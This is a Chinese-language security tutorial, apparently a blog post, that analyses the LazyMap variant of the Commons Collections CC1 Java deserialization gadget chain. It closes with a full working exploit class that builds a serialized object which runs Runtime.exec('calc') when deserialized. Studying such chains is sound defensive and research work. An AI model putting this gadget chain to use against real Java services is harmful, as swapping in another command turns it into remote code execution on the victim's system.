WEB安全--Java安全--LazyMap

一、前言

该篇是基于WEB安全--Java安全--CC1利用链-CSDN博客的补充，上篇文章利用的是TransformedMap类，而CC链的原作者是利用的LazyMap类作为介质进行的触发。

所以本文将分析国外原作者在ysoserial commonscollections1中给出的CC1利用链。

二、回顾梳理

在我的上一篇文章中，对CC1链的触发流程总结是这样的：


TransformedMap触发流程
ObjectInputStream.readObject()	==>	AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject()	==>	MapEntry.setValue()
MapEntry.setValue()	==>	TransformedMap.checkSetValue()
TransformedMap.checkSetValue()	==>	ChainedTransformer.transform()
ChainedTransformer.transform()	==>	ConstantTransformer.transform()
ConstantTransformer.transform()	==>	将xxxxProxy改为Runtime.class
ChainedTransformer.transform()	==>	InvokeTransformer.transform()
InvokeTransformer.transform()	==>	调用Runtime.class的exec方法执行其命令

而LazyMap版本CC1利用链的触发流程是这样的：


LazyMap触发流程
ObjectInputStream.readObject()	==>	AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject()	==>	Map(Proxy).entrySet()
Map(Proxy).entrySet()	==>	AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke()	==>	LazyMap.get()
LazyMap.get()	==>	ChainedTransformer.transform()
ChainedTransformer.transform()	==>	ConstantTransformer.transform()
ConstantTransformer.transform()	==>	将xxxxProxy改为Runtime.class
ChainedTransformer.transform()	==>	InvokeTransformer.transform()
InvokeTransformer.transform()	==>	调用Runtime.class的exec方法执行其命令

三、LazyMap版本CC1利用链

3.1、反向分析

现在我们主要分析：当AnnotationInvocationHandler.readObject()被触发后，通过哪些介质最后调用的ChainedTransformer.transform()

依旧是反向分析，从ChainedTransformer.transform()开始：

除了TransformedMap.checkSetValue()可以调用ChainedTransformer.transform()，还有LazyMap的get()方法也可以调用：

LazyMap.get()

构造ChainedTransformer对象：

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);




        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

当LazyMap对ChainedTransformer对象进行处理时就会触发ChainedTransformer的transform()方法

那么哪里的方法又调用了get()方法呢？

实际上在AnnotationInvocationHandler类中的invoke()方法刚好有方法满足这个条件：

AnnotationInvocationHandler.invoke()

public Object invoke(Object proxy, Method method, Object[] args) {
   String member = method.getName();
   Class<?>[] paramTypes = method.getParameterTypes();
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }
    // Handle annotation member accessors
    Object result = memberValues.get(member);

经分析，我们需要满足前两条 if 语句才能触发memberValues对象的get()方法，，否则会提前返回值

第一个if：

   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if：

if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将LazyMap对象赋值给该类的memberValues变量：

我们查看构造方法，发现该方法是私有的，我们无法调用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

然后我们看一下invoke()方法所属类的定义，如下：

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ……
}

发现这个类实现了InvocationHandler接口，代表该类可以作为动态代理的代理处理器，只要实现了InvocationHandler接口，就必须重写 invoke 方法，并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个代理对象，通过反射让其代理处理器为AnnotationInvocationHandler，然后无参调用代理对象的任意方法，即可触发invoke方法

在Java的动态代理机制中，在执行代理对象中的方法之前，会自动执行其代理处理器中的invoke方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);

这样触发invoke()方法的问题便解决了，接下来我们只需创建一个使用AnnotationInvocationHandler作为处理器的代理对象，并无参调用该代理对象中的方法即可，创建代理对象代码如下

Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);

接下来便是要解决如何无参调用mapProxy对象中的方法

readObject() ==> memberValues.entrySet()

正巧，在AnnotationInvocationHandler类中的readObject()调用了memberValues.entrySet()

我们通过之前的反射获取静态方法，并将mapProxy作为对象传入

Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);

所以触发AnnotationInvocationHandler.readObject()方法就会触发memberValues.entrySet()，也就是会触发mapProxy.entrySet()

3.2、EXP

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);




        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);



        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);


        Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);

        Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);

        serialize(hacker);
        unserialize("hacker.bin");

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));
        oss.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}